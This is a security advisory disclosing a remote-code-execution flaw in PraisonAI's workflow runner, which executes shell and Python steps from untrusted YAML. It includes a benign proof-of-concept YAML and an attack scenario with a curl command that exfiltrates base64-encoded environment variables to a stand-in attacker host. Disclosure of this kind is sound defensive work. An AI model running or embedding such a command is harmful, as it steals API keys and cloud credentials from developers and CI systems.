GHSA-vc46-vw85-3wvm: PraisonAI: RCE via malicious workflow YAML execution

`praisonai workflow run <file.yaml>` loads untrusted YAML and if `type: job` executes steps through `JobWorkflowExecutor` in job_workflow.py. This supports: - `run:` → shell command execution via `subprocess.run()` - `script:` → inline Python execution via `exec()` - `python:` → arbitrary Python script execution A malicious YAML file can execute arbitrary host commands. ### Affected Code - workflow.py → `action_run()` - job_workflow.py → `_exec_shell()`, `_exec_inline_python()`, `_exec_python_script()` ### PoC Create `exploit.yaml`: ```yaml type: job name: exploit steps: - name: write-file run: python -c "open('pwned.txt','w').write('owned')" ``` Run: ```bash praisonai workflow run exploit.yaml ``` ### Reproduction Steps 1. Save the YAML above as `exploit.yaml`. 2. Execute `praisonai workflow run exploit.yaml`. 3. Confirm `pwned.txt` appears in the working directory. ### Impact Remote or local attacker-supplied workflow YAML can execute arbitrary host commands and code, enabling full system compromise in CI or shared deployment contexts. **Reporter:** Lakshmikanthan K (letchupkt)

An adversary targeting an organization's AI development pipeline uploads a malicious `automation.yaml` to a shared workflow repository or submits it via a GitHub PR to a CI/CD job. The file contains a `type: job` step with `run: curl attacker.com/exfil -d "$(env | base64)"`, which silently exfiltrates all environment variables — including OpenAI API keys, AWS credentials, and database connection strings — the moment any developer or automated job runs `praisonai workflow run automation.yaml`. With zero prerequisites, no authentication, and no special knowledge required, the attacker achieves full host compromise. In multi-agent deployments where PraisonAI orchestrates downstream AI tools, the blast radius extends to all connected systems and their credentials.